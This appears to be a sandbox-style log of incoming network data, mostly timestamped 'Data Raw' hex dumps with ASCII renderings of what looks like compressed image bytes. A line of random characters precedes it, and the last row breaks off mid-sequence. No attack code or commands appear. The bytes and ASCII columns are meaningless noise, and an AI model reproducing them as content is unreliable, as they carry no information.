MMgrR_/k1Y3Mi)Z?f;\|Sj[$YU{MmmGE_sEKb->/&R{wL[-UgTo'>UY>ZlY']bVnV2SksQq,xgP/ioMsU!X}~hT6su]cyNI-58\|$l}y/{m)>
2022-07-20 17:31:13 UTC	7891	IN	Data Raw: ec 8b 76 7a 84 96 ed e5 c9 fb fb 36 5f f8 1c 75 76 66 8c 46 c6 0f b8 df 75 9a b1 b6 f9 6d 94 f9 7e 51 f3 54 d1 c9 27 99 ba 36 da ed f7 95 be eb 7d 2b f3 5c ef 85 e9 56 6f 11 81 56 9b de 3d 1f a7 63 92 ae 1e 32 d6 3b 97 f6 99 be 77 f9 76 e1 7f de a8 be e6 ed 8b b9 aa 3b 6b cf 35 a5 07 72 bc 7f 7a 36 fb cb 52 c8 77 47 9f bb e5 ff 00 5a fc 9a a5 29 d1 9b a7 35 66 b7 3c f9 53 e5 76 65 7f bc dc 2f cd fd da 48 df 74 7f dd 66 fb ca d5 33 5b 95 db 9d db 56 9c d1 83 e6 96 6d ac bf c5 fe cd 4d d1 93 8d 98 c5 bc 66 8f 0d b7 ef 05 ff 00 66 8d c2 4b 7f bd f3 71 fd 6a 3d 91 b4 9b 3e 6d cd fc 54 e8 fc b3 c4 9f 77 fb cb 4e c8 d2 3a 6a 45 22 ec db 9f ef 54 ea d2 af ef 11 36 a7 f7 a9 f3 43 1a c7 fe b7 77 f7 76 d4 6b 34 aa aa 91 b7 cb ba 84 fb 96 f9 59 62 d6 f6 e3 49 87 cd Data Ascii: vz6_uvfFum~QT'6}+\VoV=c2;wv;k5rz6RwGZ)5f<Sve/Htf3[VmMffKqj=>mTwN:jE"T6Cwvk4YbI
2022-07-20 17:31:13 UTC	7907	IN	Data Raw: 45 92 ee eb 0b 26 d9 db e5 dc d5 61 e1 7b 99 b1 22 b4 4e ab fc 3f 75 8d 52 b9 b6 92 da e1 47 f1 ab 6e 56 fe 1a fc 91 d3 95 3a 8e 9c d5 a5 d9 8a 2e 52 b4 64 fd d4 77 fa 1d 85 dd bb 29 b7 b9 da ed 85 f3 37 7c db bd fb 56 ed 87 86 ee 75 bd 5b fb 3e 29 63 9e e1 9b 6b 48 cd b7 6b 7d 7d eb cd ad 7c 41 73 1a c5 28 97 6a af c8 ab fc 3f 5a b3 61 e3 3b cd 36 f2 e6 78 e5 68 25 b9 8f cb 66 56 fb be f5 c1 2c 3b 6d f7 3d 08 4a 9e 8a 5b 1f 4f f8 4f e0 2d bd f3 40 35 99 d6 44 93 31 b4 96 cd b9 9b 1c 85 e7 a7 d6 bd fd ac ec 35 28 ed ac a4 8a 39 42 c4 2d 24 83 71 66 64 c6 06 7b 8c 7a 8a f9 1b c0 bf 1a 20 d2 ed 60 b0 bb b9 9e f1 d7 2a f2 6d dd cf 6f c8 56 86 ab f1 6b 5c d7 bf d0 b4 8b 9b 9b 18 64 d8 d3 79 6c 37 75 c0 39 eb 5e 64 e9 54 93 b3 3e db 09 98 60 70 94 9a a3 0b b6 Data Ascii: E&a{"N?uRGnV:.Rdw)7\|Vu[>)ckHk}}\|As(j?Za;6xh%fV,;m=J[OO-@5D15(9B-$qfd{z `*moVk\dyl7u9^dT>`p
2022-07-20 17:31:13 UTC	7923	IN	Data Raw: a7 9e 17 6b b1 eb a9 43 12 9a b1 e2 3e 22 f0 9e ab e0 bb a8 a3 d4 e2 55 66 c3 47 b5 83 24 99 f4 3d ea 9c 37 1a 7d e6 83 79 a7 5e 69 56 d7 37 12 b2 34 57 d2 65 27 85 86 73 b7 1f 2f b6 6b e9 0d 49 34 ff 00 1c 47 2a 18 be d3 71 73 00 92 3b 1b b5 db b5 fd 8e 32 1f d3 02 bc 87 c4 5f 0c ef 51 ae 5f 47 b6 bb 9e cf 4a 64 82 58 f6 86 75 27 e6 e9 9c 91 cd 38 ce a5 39 2a 94 74 68 e5 a9 81 9d 15 cd 1d 62 78 9e ab a2 5d e8 ec ce 77 34 4d fc 4b f3 7e 95 9e b2 6e 55 cb 7d ef bb 5e 98 af 3e 8f a9 37 db 20 dc ca c6 39 63 ff 00 64 8f d0 e3 f5 ac 4f 1c f8 5f 47 8b 54 df e1 26 bb 96 c2 4b 64 91 a3 b9 5d ac ae 07 cc 07 35 fa 8e 4f c5 10 ac d5 0c 73 e5 7d 1f 7f 2d 3f 36 78 15 70 f6 8b 9c 19 c7 79 81 5b 07 f8 7e f5 3d 2e 43 71 fc 3f ee fd ea af 23 1f 33 cb 7f dd 32 fd e5 6f ee Data Ascii: kC>"UfG$=7}y^iV74We's/kI4Gqs;2_Q_GJdXu'89thbx]w4MK~nU}^>7 9cdO_GT&Kd]5Os}-?6xpy[~=.Cq?#32o
2022-07-20 17:31:13 UTC	7931	IN	Data Raw: b1 46 4b 79 3c b6 f9 f6 ed fb b5 4e 41 b5 99 9f db f8 ab 61 d1 9d 70 57 e6 aa b3 5a c8 ea df de a6 67 ca cc c9 23 31 f4 f9 b7 7f 0f e1 50 a4 67 e6 f9 6b 5b ec cf d7 6f cd 4c fb 39 dd 93 fd da 09 b3 32 6e 16 4e 83 ee 55 8b 65 95 f6 c6 3e ec 95 a1 f6 74 8d 7f bd 56 2c 2d cb 5d 44 e1 7e ef f0 ed a0 56 64 33 58 a3 42 a0 44 ab 3a e7 e6 fe f6 7d 6b 16 6b 57 85 b6 3e ef bb f7 b6 d7 51 36 12 66 c7 cb f3 56 7e b0 b1 b5 be f3 f2 b2 b7 f3 a9 bb 1c a2 d1 ce ba 9d d4 9b aa 56 c7 99 f3 54 5c 52 20 15 b7 73 48 cd df f8 68 07 6d 31 70 ad 9d df 2f fb 54 0e e4 8a c1 a9 76 95 fe 2a 89 7f 89 e8 75 f2 db f8 b6 d0 22 7f 38 b5 2b b0 76 a8 91 bb ee a9 15 b7 2e cf e2 a9 bb 28 72 e3 76 6a 68 e4 c6 d0 3e 5a ab b7 77 4a 7a b7 cd 91 4c 65 f6 70 63 e7 e6 6a 8d 71 f7 ff 00 d9 a8 d2 42 Data Ascii: FKy<NAapWZg#1Pgk[oL92nNUe>tV,-]D~Vd3XBD:}kkW>Q6fV~VT\R sHhm1p/Tv*u"8+v.(rvjh>ZwJzLepcjqB
2022-07-20 17:31:13 UTC	7947	IN	Data Raw: 56 ff 00 4f 23 8a 9c a6 e0 a5 4f 6b dc f4 49 7e cf 7f 63 15 ed 9b 7e ea 5f e1 ff 00 9e 6d dc 56 6b f1 f2 1f bb fd da c1 f0 df 89 17 47 ba 68 e7 dd 2d 95 cf fa e8 ff 00 bb ee 3d eb ae d4 2d 5a 19 37 8d ac 8c be 62 c8 bf 76 45 3d 87 bd 7e b3 91 e7 31 cc 28 da a6 95 23 bf 9f 99 f4 14 ea c7 15 0e 68 ee 8c 66 66 a8 dd b7 37 0d b3 fb d5 2c c9 e5 c8 c9 f7 bf 89 76 ff 00 15 57 74 dd ce df bd 5f 55 73 27 b9 1b 2f cd 9d bf ec d5 3b a8 7e 5c ed 6f fb ea ad 33 6d fb ff 00 76 9c ab 1c 91 b0 3b b7 56 a7 34 8c 37 4d 8d 8f ef 7f 15 44 d6 a2 4e bf fa 15 5f ba b7 3b b2 9f 76 aa 3e 77 7d da 68 e2 65 47 8c ff 00 07 fe 85 55 6f a1 de ac 06 df 95 be f5 69 3b ec 5f 91 6a ac d0 ee 6e 7e 5a a0 32 db 2a d8 2b f3 54 ab f2 f3 f7 6a 29 b1 1c 9f 3f de ff 00 66 96 39 3d 68 0b d8 d3 b6 Data Ascii: VO#OkI~c~_mVkGh-=-Z7bvE=~1(#hff7,vWt_Us'/;~\o3mv;V47MDN_;v>w}heGUoi;_jn~Z2*+Tj)?f9=h
2022-07-20 17:31:13 UTC	7963	IN	Data Raw: 7f 2d 95 7f 88 9f eb 5e 23 e3 6f 87 37 5a 54 92 cf 1c 5e 7c 0d f2 c8 bf dd c7 af 71 5f 77 92 f1 1d 4c 2a 54 ab 2b c3 f1 5e 9e 47 89 8b c1 3a 0b 9a 97 c3 d4 f2 48 e6 f9 57 ef 7f c0 aa 55 65 9b e4 75 55 6f ef 7f 7a af de 68 b3 5b cd 26 15 99 7c b0 db 5b e6 e0 fa 7b 55 3d a3 72 ff 00 bc 6b f5 dc 3e 26 96 36 3c f4 1a 6b a9 e4 3b 5f 42 af d9 f6 33 23 fc bf ee ff 00 15 46 d1 94 5a be a8 ed b8 7f 0d 47 f6 7d cb 9d df fd 8d 75 69 6d 07 cd dc 8a d6 e1 ed db 7f 7f fd 09 6b 6a ce f9 d5 58 db ff 00 0f de 81 bf bb ed 58 eb 6f b2 4c 16 dd fe f5 4e 91 8d db d3 72 b2 ff 00 76 b8 31 78 2a 18 fa 7e ce bc 74 14 94 65 b9 d0 47 30 ba 5d e3 72 aa fc ca ad f7 a9 2f ed 6e 35 4d 2d a3 11 6e 96 36 f3 11 bf 9d 67 db 5d 6f 6d d3 ae e6 5f 97 e6 6f 5a b2 9a a7 f6 7b 6f 81 9b fd df c3 Data Ascii: -^#o7ZT^\|q_wLT+^G:HWUeuUozh[&\|[{U=rk>&6<k;_B3#FZG}uimkjXXoLNrv1x~teG0]r/n5M-n6g]om_oZ{o
2022-07-20 17:31:13 UTC	7971	IN	Data Raw: bf 99 91 fc 55 33 85 3a 90 94 2a ab c7 aa ee 6b 4d da e9 f5 37 39 6e 25 89 63 5f bc bf ed 54 13 28 e8 3e 54 fe 26 a6 47 70 24 b5 c4 91 ab 3a b7 ee da 95 a3 9a 6d 85 20 e1 bf bc d8 af c1 33 cc 9a 79 5e 26 ff 00 f2 ee 5a ae de 87 85 8a c2 ba 13 55 20 fd df c8 6c 91 a4 2a a4 33 48 ad f2 fc de f5 14 7b e4 5d 9b 7e 54 6f bd 52 48 8c d0 af 9d fc 3f c3 fd da 73 22 32 e2 45 e7 71 65 db 5f 35 b6 e7 24 65 a1 0c 8a 3a 45 f7 3f 89 9a 96 de 3d ff 00 bb 45 f9 ff 00 bc d5 3a ac 6c ad e6 2f cd fd df e1 a4 93 32 4d b6 06 6f 99 77 37 cb f2 d2 e6 be 85 c6 76 1c b1 a2 37 1f bd 65 ff 00 58 cb f7 69 7c b8 df a7 f1 7c bf 32 d4 31 a3 47 0f 0d f7 9b e6 db f7 68 7b a3 f2 92 bb 5e 95 b5 3a 14 91 1b bc af 37 92 9e ea db 56 ad 5b 5d 08 d6 28 bc ad df 29 66 a8 7c e9 21 f3 47 de 67 f9 Data Ascii: U3:kM79n%c_T(>T&Gp$:m 3y^&ZU l3H{]~ToRH?s"2Eqe_5$e:E?=E:l/2Mow7v7eXi\|\|21Gh{^:7V[]()f\|!Gg
2022-07-20 17:31:13 UTC	7987	IN	Data Raw: 4b e7 8d 96 48 a7 e7 77 ca cb f7 96 ba ed 53 4f b7 f8 95 a1 b9 fd dc 7a f5 b2 fc ca bf f2 f0 83 a9 ff 00 1a fd 33 86 73 e9 42 5f 50 c5 ca f1 7f 0b ed e4 cf a1 c1 e2 be bf 18 e1 ea ff 00 16 2a c9 ff 00 34 7a 27 e6 b6 5d cf 00 db b7 8d b4 bb 42 2f 3f c3 5a 7a 96 93 35 8c 8c 0c 4c bb 5b 6b 2b 7f 0f b5 67 b2 6d fe 1a fd 55 35 7b 0d a9 45 d9 a1 11 43 73 fe 77 54 ca a1 79 3f 2d 44 b1 ba 6e 27 f8 be 65 a9 15 df fb bb aa ae 87 72 44 62 f2 7f 79 57 ee ae da b0 a8 5a 3d e1 5b e6 fe 16 a6 43 70 77 7c bf 2b 2d 5d 59 1f ae ef bd fe cd 3d 45 cc 55 5d e8 be df 76 a7 59 3d 1b fd 9a 99 63 0f b5 fe ef cd 44 96 d8 66 71 ff 00 7c d0 69 19 58 74 2e 8c d5 32 37 71 f2 ed aa 68 a7 75 4e b9 4e b5 9c b7 3a a3 3d 6e 68 43 20 f9 8e ef bd fd ea 97 ec e8 eb c7 de ac f4 fb d9 ab 70 dd Data Ascii: KHwSOz3sB_P*4z']B/?Zz5L[k+gmU5{ECswTy?-Dn'erDbyWZ=[Cpw\|+-]Y=EU]vY=cDfq\|iXt.27qhuNN:=nhC p
2022-07-20 17:31:13 UTC	8003	IN	Data Raw: ba 90 b0 f0 ad b6 81 1d e2 c1 ae 78 95 a4 8e 59 24 f9 3e cb 66 cc 37 ce d9 3c 65 78 0b fe d6 6b d1 3c 07 f1 03 4f d5 bc 3b 17 86 ac a0 b6 b6 f0 e6 99 00 b6 b2 83 cb fd ec cc a3 05 88 c9 f9 58 fc c0 e6 bf 31 76 47 e9 fc f0 c4 63 e1 4a 4f 58 2b a5 e6 f7 bf c8 e9 b5 cb 85 d2 74 d6 bc b6 8a 06 d4 6e 98 7f c4 c1 57 6e d4 e8 b9 3f ee 9c 57 98 ea de 28 b4 f0 6e 8e da ad c5 e4 92 68 37 92 3c be 5c 7f 7a 66 4c e0 2f 7e 5c 63 e9 5e af 34 7a 65 c7 c3 db 9b 23 2e d4 6f dd ac b2 7c ca ad b0 9f bd db 6e 37 57 ca ff 00 08 b4 ab 4f 17 f8 e1 6c f5 c9 ee 75 5d 1a d7 ce 5d 0a ee ef 2b 6d 33 2c 9c 36 00 c1 fe 2a 6b b9 d3 9a e2 2b 52 af 1a 18 7d e4 35 3c 27 e2 bf 16 78 cb 4c f1 4b c5 f6 3d 73 52 be dc b6 91 47 f2 5a c2 4e 11 55 47 a0 eb 5e fb f1 c7 c4 17 f6 de 1b 97 c2 7a 7c Data Ascii: xY$>f7<exk<O;X1vGcJOX+tnWn?W(nh7<\zfL/~\c^4ze#.o\|n7WOlu]]+m3,6*k+R}5<'xLK=sRGZNUG^z\|
2022-07-20 17:31:13 UTC	8010	IN	Data Raw: f4 ba 6c 70 5c 6d f9 e2 52 a9 b7 ee ae 7f bc 3b d7 0d 0b ee 65 2d f7 ff 00 87 fd ea d0 ba 9b cb 58 a4 8b 6a f9 ac 15 57 ef 7c fd e8 8d d4 b4 3d 4c 1c dc 25 ca b7 3b 34 f1 a6 a0 b0 dc dc 4b 72 d0 45 23 6e 68 37 7c bf f0 1f 63 e9 56 b4 9f 19 6b 9a 7e a5 15 e6 99 3f d9 a5 55 0b 24 6d f2 c5 22 71 d4 74 3d 2b 9e b3 86 d2 d6 15 92 58 9a 7b a6 62 cd 24 9f c4 be 9b 6a d3 49 73 79 6f f2 33 2a 47 26 d5 5d bb 9b ae 05 74 bf 74 f6 dc a6 d7 bd 23 d3 bc 3f e3 ab 97 92 77 d5 2e 56 5d 45 a4 78 a1 dd f3 c1 b0 26 13 0d ea 0f 23 8a ec 6d 3c 51 e1 ed 16 e1 ad ee da d3 53 96 5c b4 77 db 82 75 ea 1c 73 85 1e bf 4a f3 ff 00 86 bf 0a e2 d5 35 e5 9f c4 31 34 5a 6b 33 ab 49 b8 ef 5c 0c 82 00 af 65 d0 f4 3f 09 f8 7e de 78 06 83 6d 2a cf 30 fd de dd cc c8 dc 7d f3 c8 ae aa 4a 72 d5 Data Ascii: lp\mR;e-XjW\|=L%;4KrE#nh7\|cVk~?U$m"qt=+X{b$jIsyo3G&]tt#?w.V]Ex&#m<QS\wusJ514Zk3I\e?~xm0}Jr
2022-07-20 17:31:13 UTC	8026	IN	Data Raw: 6a a3 c8 b9 8d 47 ef 18 7d fd dd f8 1d eb 19 3f de 49 df 53 ee 23 67 42 09 3d 3a 99 fe 3a f8 7b e1 ab cb 7b ed 52 38 1b 4f bc be 8c 45 05 bd b7 dd 5b 8f 98 99 70 3a fb d7 a9 69 7a a3 e9 be 0b d2 a0 f1 33 5b db 6a 31 c4 91 ff 00 ac 1b 64 64 c7 fe 3c 7d 2b 8d 8c 25 f6 ad 6d 3c 32 47 3c 56 ab e6 41 24 7f 32 6f 3d 5b 3d c8 ab 7f 10 3c 1d 3f c4 6f 05 dd c1 1d cc 7a 7e a7 62 d1 cf 06 a1 22 ee 58 c2 90 ce b9 3d 06 17 ad 6b 46 a4 a3 cd 18 ad c9 c5 50 8d 35 06 de 9f e6 61 78 93 c2 f0 78 e7 c4 de 1e d5 a3 99 76 c7 77 1e d5 81 bf d2 1a 30 c3 32 e3 a4 6a bf d3 de bd 57 c5 5e 2a d1 3c 33 e1 b9 b5 5b dd 66 ca d6 d9 5b c8 6b bb b9 82 c4 ce 47 72 38 cf d2 be 50 f0 9d f5 c7 fc 24 1f 63 86 e6 e6 2d 2a e9 5e 0b cf b2 30 92 59 a3 1c b6 1b f8 73 b7 ef 57 63 f0 bf c2 ba 57 c5 Data Ascii: jG}?IS#gB=::{{R8OE[p:iz3[j1dd<}+%m<2G<VA$2o=[=<?oz~b"X=kFP5axxvw02jW^<3[f[kGr8P$c-^0YsWcW
2022-07-20 17:31:13 UTC	8042	IN	Data Raw: cf ef 7d e6 ff 00 66 a2 f2 41 93 9f bd 4a b2 17 5c 1f 9b fd 9a 95 76 7c b9 5f 9b 6f cb 57 72 ca ad 09 56 6c 54 72 2c a8 dc 7c cb 57 99 3e 5a 62 a7 cb c7 de a6 05 74 b8 93 77 1f de 1f 2b 55 b5 99 dd 6a 0d a7 e5 f9 be 6d df 35 4a 8a 9f fd 8e df bb 50 6d a1 14 9f f8 fd 32 45 de b9 fe f5 5c fe 1d b4 d7 44 a0 a5 2b 15 51 17 77 dd f9 b6 ed 55 6f e2 c7 7a 46 4f ef ff 00 ac a7 b3 9e df de f9 7f dd a2 4f 95 73 ba a0 d3 42 36 4f 97 8f bd 52 43 24 6a db 0e dd cd 50 ed 76 dc 4b 7c b4 d7 6f bb fc 5f ed 7f 0d 06 97 45 99 27 2a b8 0d f2 ff 00 76 a0 93 e5 65 25 99 b7 53 59 b6 2a a7 fb 3b be 5a 81 a6 dc d5 95 b9 98 f9 91 34 8e 19 9a 31 b9 59 7f bd 55 a4 b8 2b d7 e5 5a 93 77 97 cf cd b7 6f f0 d2 f9 33 de 47 9d ad b1 be 5d df 76 a6 52 54 d7 3c da b2 fc 3c df 90 d5 e5 aa d8 Data Ascii: }fAJ\v\|_oWrVlTr,\|W>Zbtw+Ujm5JPm2E\D+QwUozFOOsB6ORC$jPvK\|o_E've%SY;Z41YU+Zwo3G]vRT<<
2022-07-20 17:31:13 UTC	8050	IN	Data Raw: d3 c3 f3 62 f1 8a 75 b5 8d 35 b7 4b b5 6f c1 1c 7d f9 bb d5 3c 27 a9 e8 6e be 6c 0b 69 3a ae d6 f9 76 32 71 9f 53 f4 af 9a be 04 fc 34 d2 3e 2a 36 b9 e1 ab bb 96 d2 35 78 15 27 d2 f5 25 f9 96 37 07 0d 1b 2f 5d ad fc ab eb 3f 87 57 e1 f5 68 3c ad 3d 6e 52 eb 2a bb 9b 6e dd bf c4 7d ab c1 fe 03 e9 f3 6a 3f 1a bc 6c d6 d0 2a eb f6 77 72 5d c7 24 72 14 f2 d1 64 00 ae 3a 30 3e 82 88 a4 f7 38 33 7c 34 6b 62 70 ea 5a ab b4 fc d6 f7 f5 5d 0f 4d f8 5f e3 f3 e0 ff 00 23 e1 ff 00 c4 0d 32 db 41 d5 ed 56 46 b6 d4 95 b7 5a ea 08 3b ab 13 d4 d5 ef 10 7c 48 b8 9b 4b 9f 4c f8 7f a4 58 fd 82 da 73 f6 bb c9 24 45 59 1b 1d 10 1c b1 eb f7 ab 03 e3 d5 cd bf 88 bc 03 e2 ab 3f 12 b4 6b 79 6d 04 77 da 57 93 19 46 b7 7c f2 a5 ba 90 73 58 9f 05 7c 43 05 9f 84 e0 f1 07 8b 34 d9 35 Data Ascii: bu5Ko}<'nli:v2qS4>65x'%7/]?Wh<=nRn}j?l*wr]$rd:0>83\|4kbpZ]M_#2AVFZ;\|HKLXs$EY?kymwWF\|sX\|C45
2022-07-20 17:31:13 UTC	8066	IN	Data Raw: 5b 3d 4f 8d 7f 68 7b 8b fb 0f 12 41 14 8c ab 6a d1 09 16 38 e4 dc ac cd fc 60 7b 8c 13 5e 71 a7 e9 52 eb 1a 6d e5 d9 fd fa db 30 f3 db 95 f2 f3 eb 5e e7 f0 b7 e1 dd e7 c5 df 8d 1a d7 f6 ee a0 d2 a6 87 17 da 63 59 d7 72 2e 4e d5 56 3f dd 0b 8e 3a d7 b8 c9 fb 3b d9 d9 c3 a9 da 69 91 5b 49 16 a6 c9 3d ca fd d6 56 1d d7 db d8 d7 6f b4 51 56 67 ca 43 2a ad 99 4e 58 88 fc 2d d9 7a 1f 38 7c 1b f0 3c 10 c7 a8 6a da ab 34 5a 77 91 e5 44 b1 b1 5d db 86 ec ee ea bb 71 f8 d7 27 aa 35 9f 88 bc 59 75 15 9c 4d 2d bc 6b 24 9b 95 7f d6 60 64 74 e9 cd 7b 97 c6 2d 27 c4 9e 0f d1 ed b4 ed 3f cf b9 56 8c c1 1f ca 37 37 6d aa ab d7 ea 6b 43 c1 9e 1e d0 3c 3b 63 6b 14 56 31 db 5e 35 a0 82 76 9f ef 33 8e 7a 9e e4 d6 7c da dc ea 79 73 9d b0 a9 a8 a8 ea db dc f9 76 1d 16 fe e7 f7 Data Ascii: [=Oh{Aj8`{^qRm0^cYr.NV?:;i[I=VoQVgC*NX-z8\|<j4ZwD]q'5YuM-k$`dt{-'?V77mkC<;ckV1^5v3z\|ysv
2022-07-20 17:31:13 UTC	8082	IN	Data Raw: 97 5b be d0 cd e4 34 eb f3 37 4f e9 59 9f 67 b4 bf b7 59 ad a4 5d ff 00 7b 77 f1 46 7d eb 9c d5 74 f9 62 55 b9 8a 26 59 63 62 d2 2a ff 00 17 fb 55 f4 95 69 d0 ce 29 3c 4e 11 72 d4 5f 14 3a fa af 2e fd 8f a1 c2 62 79 9f b6 c2 7c 5d 63 ff 00 00 fa 0f c3 e8 9a 4a c1 a9 dc 5c fd 8d 23 c2 c6 ab ff 00 2d 17 a9 cf d6 ad 5a df c7 71 33 6a 62 05 57 f3 dd bc bd db 59 97 b1 c7 71 cf 35 e1 96 7f 10 af b5 2f b1 db ea 37 2a d6 16 d1 f9 9b 55 76 b3 6d e8 a6 bd 2b c0 2f 71 75 6f ff 00 09 2e ab 12 ef b9 93 cb d2 ac 9b ee c3 1a 67 73 63 be ec e3 9f 4a f9 89 46 da b3 ea b0 d9 8c 31 6d 46 96 8c eb 7c 0f aa cb 63 78 ba 84 ed 1a b4 b2 0f dc cf f7 d5 3f 87 1d b3 8a ea bc 51 e2 eb 9b 1b 78 af ed 19 62 9d 5b 6a ff 00 79 bd 7e bc 56 1d fd 8d fd d4 73 ef 82 d1 5f 89 17 6f cc 9b 31 Data Ascii: [47OYgY]{wF}tbU&YcbUi)<Nr_:.by\|]cJ\#-Zq3jbWYq5/7Uvm+/quo.gscJF1mF\|cx?Qxb[jy~Vs_o1
2022-07-20 17:31:13 UTC	8090	IN	Data Raw: 8e 26 2a 70 7a 3d ce 9b ed 09 a6 d8 bd bd b5 ca aa ac 67 e6 5f e2 50 3a 91 ef 4d f8 72 f0 5c c3 3b fd a5 9e fe 7d 9b 63 6c 6d 5c 7a 67 be 2b 97 b5 6b 6d 62 36 31 df 2c 4f 26 55 64 fe 16 5f ee fe 06 b7 0f 85 4c 9a 1c 10 48 fe 45 c7 fc b3 92 3f ef 7a e6 a6 4a c7 a5 4d ce 55 13 82 ba 48 d9 d6 ee 60 d1 e4 6f 35 7c 88 3c bd b2 2e df f5 de df fa 15 73 da ae 9b 03 e9 33 ea fa a6 ab e5 6a 52 c0 16 d1 63 fb f1 aa 63 62 9f 5c a7 cb 54 ef ef 22 9a 1d 3f 4c dc d2 de ac bb 52 46 f9 a3 65 1d 49 f4 e7 8a d5 b6 f0 f4 b6 1a a2 ea f7 f7 2b 7c 91 a9 68 e3 55 dc be 9d 3a d0 8e 6a bc d5 a5 fd 58 d9 d4 13 5f f1 12 d9 cb e2 0d 31 b4 ff 00 0f 5b 49 1c b1 78 7e cd 8b 34 8a f1 ff 00 ad 8f be d6 3d 50 77 ae 82 da f2 d3 c1 3a 5f 9d 7f a9 c6 b6 97 d6 82 c6 d2 c5 63 55 ba da bb db 95 Data Ascii: &*pz=g_P:Mr\;}clm\zg+kmb61,O&Ud_LHE?zJMUH`o5\|<.s3jRccb\T"?LRFeI+\|hU:jX_1[Ix~4=Pw:_cU
2022-07-20 17:31:13 UTC	8106	IN	Data Raw: 57 10 4c 7e cd 3c b1 28 f2 ff 00 89 17 3d 6b 37 c4 9e 3f b8 16 b3 c5 12 ac fe 62 f9 7f 2f fc b3 63 c6 ec 7e 35 ce be b0 fa 7d bc 5a 79 55 95 e3 50 b2 ce ac 57 cc 6e a3 81 58 d4 e4 96 e8 ea f6 f1 8c 63 4b 97 42 e6 bd e0 9d 3d 63 9d 2e 59 ac d9 a3 f2 a2 65 f9 91 71 c8 38 f5 ae 41 f4 1b cf 0d fd 86 38 f6 de 35 8c b1 cf 2e df 95 64 76 7e 4f fd f3 5d 2b 78 f8 f9 79 bd 65 fb 3b 65 5a 35 8f 6f 4e 06 e2 7d 6b 2b c6 5e 2d fe da 86 0b 0d 22 25 67 92 40 b2 7f 0e ef a9 f6 ae 49 52 83 45 ce ad 0b 39 fd a3 0e da 6b 39 35 4d 5f 5b 96 c6 39 6e 25 9c 45 12 ab 7c b1 a8 1b 8f 3f 57 22 ab dc ad be a9 ad 33 c7 12 e9 89 6a c6 7b 46 fe 2e 47 cd 1a fd 7d ea 9a e9 7f 69 be 58 d2 5f 36 08 e4 1b a4 8f db db f9 d3 e1 d9 a7 ea d2 db 89 7c fb 35 8b 6b 5c af de 91 7f bc 33 dc 67 15 c4 Data Ascii: WL~<(=k7?b/c~5}ZyUPWnXcKB=c.Yeq8A85.dv~O]+xye;eZ5oN}k+^-"%g@IRE9k95M_[9n%E\|?W"3j{F.G}iX_6\|5k\3g
2022-07-20 17:31:13 UTC	8122	IN	Data Raw: 92 24 8c cd fe a9 58 8c b8 39 fe 31 fd ee b4 af a5 cf 56 95 e5 59 d0 c3 bb f9 bd 8a 77 df 0f 74 3f 89 76 71 49 67 3c 73 dc 45 1f 99 24 0d 88 a7 5c 1e 9d 73 d3 d2 b9 3f ec 9f 10 fc 2b 99 e3 b3 89 af b4 46 8c c8 ca cd ba 78 72 72 30 7a 1e 6b bc f1 3e 8f 25 86 a8 d7 9b 9a 2d 46 e2 79 3f 7f 03 7f ab 87 a0 f4 e4 ae 78 ab f6 ba e4 b0 e8 6a 97 73 ae b5 a4 ac 9b b7 4f 1e cf 31 07 60 b8 e7 d0 d5 6f 6b 9d 0e 8d 2e 67 f6 24 ba f4 fb 8c 1d 27 56 d3 fc 47 a0 d8 c9 a6 4f 25 f6 a2 b2 3c 9b 64 5f 9e 14 c7 fa bf 76 dd ce 7f 0a 7f 89 ae 6f 34 c9 2c e5 bb 8a 78 25 89 44 73 c7 24 65 77 27 50 79 a4 d5 7c 0b 65 a5 6b d0 78 87 c0 fa af f6 2e b3 2e 64 8a d2 4f bb 0f 62 59 7f b8 73 c7 61 4c f0 3f 87 4f 8e 3c 79 2f 85 fc 63 a9 ea d1 78 ca 46 79 6d a7 bb 61 f6 69 23 4f 9b e5 61 f2 Data Ascii: $X91VYwt?vqIg<sE$\s?+Fxrr0zk>%-Fy?xjsO1`ok.g$'VGO%<d_vo4,x%Ds$ew'Py\|ekx..dObYsaL?O<y/cxFymai#Oa
2022-07-20 17:31:13 UTC	8130	IN	Data Raw: 49 96 ff 00 50 68 25 82 49 03 49 e5 e7 6c 7f 5a c7 f1 0b cf a4 fc 39 f0 f7 88 6d 2f 37 6a da 6f 89 36 d8 db 34 7b 96 65 9c 14 65 1d cb 0f 95 80 fa d7 61 e2 cf 88 9a ad ed bd b5 9d c6 86 df d9 b7 58 6f 21 5b 7b 32 03 cf cd d3 22 b9 7f 19 43 77 e2 0d 3f c1 da 66 81 e6 5b 79 fe 26 b7 5d 2e 76 5f 9e 39 30 e2 4d c0 f1 95 43 b8 7b d6 12 4d 6e 65 8c f6 71 a6 d5 37 aa b1 81 a3 dc df eb 4b aa a5 ed 8c f0 5e 41 2f 95 6d 6d 3a ec 6d e4 75 1f 8d 7a 9f c5 0b 1d 3b 4d f8 7f f6 8b d6 9e 0b d8 3c 8b 6f 3e 3f bf 1b e0 6e cf af 35 e7 5a a6 87 3e 9b ff 00 09 0e 9c de 21 93 5e d5 74 cb d2 d2 ea 0a a3 cd 59 15 c9 6f 94 7e 95 eb be 24 d6 20 be f0 0e ab a8 c1 12 ea 77 52 db 27 95 6c b1 ef 75 b8 38 e5 96 89 5b a1 b6 03 de c3 ce 33 d6 d1 fd 59 e5 77 d7 92 db 36 9f 79 a7 5c b4 b2 Data Ascii: IPh%IIlZ9m/7jo64{eeaXo![{2"Cw?f[y&].v_90MC{Mneq7K^A/mm:muz;M<o>?n5Z>!^tYo~$ wR'lu8[3Yw6y\
2022-07-20 17:31:13 UTC	8146	IN	Data Raw: a3 83 0e fe 5a 8d 9f 31 1d 33 bf 1c d0 7b de ca 2b de ab 23 e7 df 8b 9e 1d b4 f0 2f 8a af af f4 6b e8 ed ad fe ef ca bf 2d d2 80 03 06 0b f3 06 2f cb 01 d4 b2 f6 15 e3 7e 20 f1 1c fa ac de 5f 87 d7 50 9f c9 90 35 b5 ca c0 cb 14 6c c3 2f c7 a8 f4 af a5 7c 51 a1 db de 5b b2 25 a7 95 aa 47 01 b6 b6 8f 52 90 32 db ab 3e f6 9c ed e5 dd 95 b6 ff 00 b2 2b c9 b5 5d 42 ff 00 c3 fa 95 e5 86 9f 72 d0 58 46 d2 35 cd dd b6 36 ec e3 76 f4 c7 5e 78 ef 52 7c b6 37 0f c9 2d 36 3c 83 55 d0 6e 6e 24 57 89 5a fa fe 35 2d 3f 98 db e7 93 18 dd 29 6f ee 8f 4a cf b8 d2 a4 86 ce 57 9a 58 de 05 60 b2 aa fd c6 8c 9c 10 0f f7 c0 3b b3 de bd 72 cf c3 76 7a b4 36 22 db 53 fe c5 d2 e5 df 2c fe 67 cb 73 e5 